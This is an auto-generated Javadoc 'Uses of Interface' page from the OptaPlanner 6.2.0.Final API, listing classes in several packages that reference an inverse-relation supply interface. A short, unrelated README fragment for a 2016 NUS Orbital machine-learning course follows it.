<!DOCTYPE HTML PUBLIC "- <!--NewPage <HTML> <HEAD> <!-- Generated by javadoc (build 1.6.0_45) on Wed Mar 04 22:48:15 CET 2015 --> <META http-equiv="Content-Type" content="text/html; charset=UTF-8"> <TITLE> Uses of Interface org.optaplanner.core.impl.domain.variable.inverserelation.<API key> (OptaPlanner distribution 6.2.0.Final API) </TITLE> <META NAME="date" CONTENT="2015-03-04"> <LINK REL ="stylesheet" TYPE="text/css" HREF="../../../../../../../../stylesheet.css" TITLE="Style"> <SCRIPT type="text/javascript"> function windowTitle() { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Uses of Interface org.optaplanner.core.impl.domain.variable.inverserelation.<API key> (OptaPlanner distribution 6.2.0.Final API)"; } } </SCRIPT> <NOSCRIPT> </NOSCRIPT> </HEAD> <BODY BGCOLOR="white" onload="windowTitle();"> <HR> <A NAME="navbar_top"></A> <A HREF="#skip-navbar_top" title="Skip navigation links"></A> <TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY=""> <TR> <TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A NAME="navbar_top_firstrow"></A> <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY=""> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><FONT CLASS="NavBarFont1"><B>Class</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Use</B></FONT>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD> </TR> </TABLE> </TD> <TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM> <b>OptaPlanner distribution 6.2.0.Final</b></EM> </TD> </TR> <TR> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> &nbsp;PREV&nbsp; &nbsp;NEXT</FONT></TD> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../../../../../../index.html?org/optaplanner/core/impl/domain/variable/inverserelation//<API key>.html" target="_top"><B>FRAMES</B></A> &nbsp; &nbsp;<A HREF="<API key>.html" target="_top"><B>NO FRAMES</B></A> &nbsp; &nbsp;<SCRIPT type="text/javascript"> <! if(window==top) { document.writeln('<A HREF="../../../../../../../../allclasses-noframe.html"><B>All Classes</B></A>'); } </SCRIPT> <NOSCRIPT> <A HREF="../../../../../../../../allclasses-noframe.html"><B>All Classes</B></A> </NOSCRIPT> </FONT></TD> </TR> </TABLE> <A NAME="skip-navbar_top"></A> <HR> <CENTER> <H2> <B>Uses of Interface<br>org.optaplanner.core.impl.domain.variable.inverserelation.<API key></B></H2> </CENTER> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2"> Packages that use <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A></FONT></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD><A HREF="#org.optaplanner.core.impl.domain.variable.anchor"><B>org.optaplanner.core.impl.domain.variable.anchor</B></A></TD> <TD>&nbsp;&nbsp;</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD><A HREF="#org.optaplanner.core.impl.domain.variable.custom"><B>org.optaplanner.core.impl.domain.variable.custom</B></A></TD> <TD>&nbsp;&nbsp;</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD><A HREF="#org.optaplanner.core.impl.domain.variable.inverserelation"><B>org.optaplanner.core.impl.domain.variable.inverserelation</B></A></TD> <TD>&nbsp;&nbsp;</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD><A HREF="#org.optaplanner.core.impl.heuristic.selector.move.generic.chained"><B>org.optaplanner.core.impl.heuristic.selector.move.generic.chained</B></A></TD> <TD>&nbsp;&nbsp;</TD> </TR> </TABLE> &nbsp; <P> <A NAME="org.optaplanner.core.impl.domain.variable.anchor"></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2"> Uses of <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A> in <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/anchor/package-summary.html">org.optaplanner.core.impl.domain.variable.anchor</A></FONT></TH> </TR> </TABLE> &nbsp; <P> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="<API key>"> <TH ALIGN="left" COLSPAN="2">Fields in <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/anchor/package-summary.html">org.optaplanner.core.impl.domain.variable.anchor</A> declared as <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A></FONT></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>protected &nbsp;<A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A></CODE></FONT></TD> <TD><CODE><B><API key>.</B><B><A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/anchor/<API key>.html#nextVariableSupply">nextVariableSupply</A></B></CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>protected &nbsp;<A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A></CODE></FONT></TD> <TD><CODE><B><API key>.</B><B><A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/anchor/<API key>.html#nextVariableSupply">nextVariableSupply</A></B></CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> </TABLE> &nbsp; <P> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="<API key>"> <TH ALIGN="left" COLSPAN="2">Constructors in <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/anchor/package-summary.html">org.optaplanner.core.impl.domain.variable.anchor</A> with parameters of type <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A></FONT></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD><CODE><B><A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/anchor/<API key>.html#<API key>(org.optaplanner.core.impl.domain.variable.anchor.<API key>, org.optaplanner.core.impl.domain.variable.descriptor.VariableDescriptor, org.optaplanner.core.impl.domain.variable.inverserelation.<API key>)"><API key></A></B>(<A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/anchor/<API key>.html" title="class in org.optaplanner.core.impl.domain.variable.anchor"><API key></A>&nbsp;<API key>, <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/descriptor/VariableDescriptor.html" title="class in org.optaplanner.core.impl.domain.variable.descriptor">VariableDescriptor</A>&nbsp;<API key>, <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A>&nbsp;nextVariableSupply)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD><CODE><B><A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/anchor/<API key>.html#<API key>(org.optaplanner.core.impl.domain.variable.descriptor.VariableDescriptor, org.optaplanner.core.impl.domain.variable.inverserelation.<API key>)"><API key></A></B>(<A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/descriptor/VariableDescriptor.html" title="class in org.optaplanner.core.impl.domain.variable.descriptor">VariableDescriptor</A>&nbsp;<API key>, <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A>&nbsp;nextVariableSupply)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> </TABLE> &nbsp; <P> <A NAME="org.optaplanner.core.impl.domain.variable.custom"></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2"> Uses of <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A> in <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/custom/package-summary.html">org.optaplanner.core.impl.domain.variable.custom</A></FONT></TH> </TR> </TABLE> &nbsp; <P> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="<API key>"> <TH ALIGN="left" COLSPAN="2">Methods in <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/custom/package-summary.html">org.optaplanner.core.impl.domain.variable.custom</A> that return <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A></FONT></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;<A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A></CODE></FONT></TD> <TD><CODE><B><API key>.</B><B><A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/custom/<API key>.html#<API key>(org.optaplanner.core.impl.score.director.InnerScoreDirector)"><API key></A></B>(<A HREF="../../../../../../../../org/optaplanner/core/impl/score/director/InnerScoreDirector.html" title="interface in org.optaplanner.core.impl.score.director">InnerScoreDirector</A>&nbsp;scoreDirector)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> </TABLE> &nbsp; <P> <A NAME="org.optaplanner.core.impl.domain.variable.inverserelation"></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2"> Uses of <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A> in <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/package-summary.html">org.optaplanner.core.impl.domain.variable.inverserelation</A></FONT></TH> </TR> </TABLE> &nbsp; <P> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="<API key>"> <TH ALIGN="left" COLSPAN="2">Classes in <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/package-summary.html">org.optaplanner.core.impl.domain.variable.inverserelation</A> that implement <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A></FONT></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;class</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="class in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A></B></CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Alternative to <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="class in org.optaplanner.core.impl.domain.variable.inverserelation"><CODE><API key></CODE></A>.</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;class</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="class in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A></B></CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> </TABLE> &nbsp; <P> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="<API key>"> <TH ALIGN="left" COLSPAN="2">Methods in <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/package-summary.html">org.optaplanner.core.impl.domain.variable.inverserelation</A> that return <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A></FONT></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;<A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A></CODE></FONT></TD> <TD><CODE><B><API key>.</B><B><A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html#<API key>(org.optaplanner.core.impl.score.director.InnerScoreDirector)"><API key></A></B>(<A HREF="../../../../../../../../org/optaplanner/core/impl/score/director/InnerScoreDirector.html" title="interface in org.optaplanner.core.impl.score.director">InnerScoreDirector</A>&nbsp;scoreDirector)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> </TABLE> &nbsp; <P> <A NAME="org.optaplanner.core.impl.heuristic.selector.move.generic.chained"></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2"> Uses of <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A> in <A HREF="../../../../../../../../org/optaplanner/core/impl/heuristic/selector/move/generic/chained/package-summary.html">org.optaplanner.core.impl.heuristic.selector.move.generic.chained</A></FONT></TH> </TR> </TABLE> &nbsp; <P> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="<API key>"> <TH ALIGN="left" COLSPAN="2">Fields in <A HREF="../../../../../../../../org/optaplanner/core/impl/heuristic/selector/move/generic/chained/package-summary.html">org.optaplanner.core.impl.heuristic.selector.move.generic.chained</A> declared as <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A></FONT></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>protected &nbsp;<A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A></CODE></FONT></TD> <TD><CODE><B><API key>.</B><B><A HREF="../../../../../../../../org/optaplanner/core/impl/heuristic/selector/move/generic/chained/<API key>.html#<API key>"><API key></A></B></CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>protected &nbsp;<A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A></CODE></FONT></TD> <TD><CODE><B>TailChainSwapMove.</B><B><A HREF="../../../../../../../../org/optaplanner/core/impl/heuristic/selector/move/generic/chained/TailChainSwapMove.html#<API key>"><API key></A></B></CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> </TABLE> &nbsp; <P> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="<API key>"> <TH ALIGN="left" COLSPAN="2">Constructors in <A HREF="../../../../../../../../org/optaplanner/core/impl/heuristic/selector/move/generic/chained/package-summary.html">org.optaplanner.core.impl.heuristic.selector.move.generic.chained</A> with parameters of type <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A></FONT></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD><CODE><B><A HREF="../../../../../../../../org/optaplanner/core/impl/heuristic/selector/move/generic/chained/TailChainSwapMove.html#TailChainSwapMove(org.optaplanner.core.impl.domain.variable.descriptor.<API key>, org.optaplanner.core.impl.domain.variable.inverserelation.<API key>, org.optaplanner.core.impl.domain.variable.anchor.<API key>, java.lang.Object, java.lang.Object)">TailChainSwapMove</A></B>(<A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/descriptor/<API key>.html" title="class in org.optaplanner.core.impl.domain.variable.descriptor"><API key></A>&nbsp;variableDescriptor, <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><API key></A>&nbsp;<API key>, <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/anchor/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.anchor"><API key></A>&nbsp;<API key>, <A HREF="http://docs.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</A>&nbsp;leftEntity, <A HREF="http://docs.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</A>&nbsp;rightValue)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> </TABLE> &nbsp; <P> <HR> <A NAME="navbar_bottom"></A> <A HREF="#skip-navbar_bottom" title="Skip navigation links"></A> <TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY=""> <TR> <TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A NAME="<API key>"></A> <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY=""> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../../org/optaplanner/core/impl/domain/variable/inverserelation/<API key>.html" title="interface in org.optaplanner.core.impl.domain.variable.inverserelation"><FONT CLASS="NavBarFont1"><B>Class</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Use</B></FONT>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD> </TR> </TABLE> </TD> <TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM> <b>OptaPlanner distribution 6.2.0.Final</b></EM> </TD> </TR> <TR> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> &nbsp;PREV&nbsp; &nbsp;NEXT</FONT></TD> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../../../../../../index.html?org/optaplanner/core/impl/domain/variable/inverserelation//<API key>.html" target="_top"><B>FRAMES</B></A> &nbsp; &nbsp;<A HREF="<API key>.html" target="_top"><B>NO FRAMES</B></A> &nbsp; &nbsp;<SCRIPT type="text/javascript"> <! if(window==top) { document.writeln('<A HREF="../../../../../../../../allclasses-noframe.html"><B>All Classes</B></A>'); } </SCRIPT> <NOSCRIPT> <A HREF="../../../../../../../../allclasses-noframe.html"><B>All Classes</B></A> </NOSCRIPT> </FONT></TD> </TR> </TABLE> <A NAME="skip-navbar_bottom"></A> <HR> Copyright & </BODY> </HTML>
# orbital16-scikit [NUS Orbital 2016] Mission Control 4A/4B - Machine Learning for Newbiews @Author: knmnyn (Kan Min-Yen) Get the small 1/100th part of the dataset here (for a limited time): * http: * http: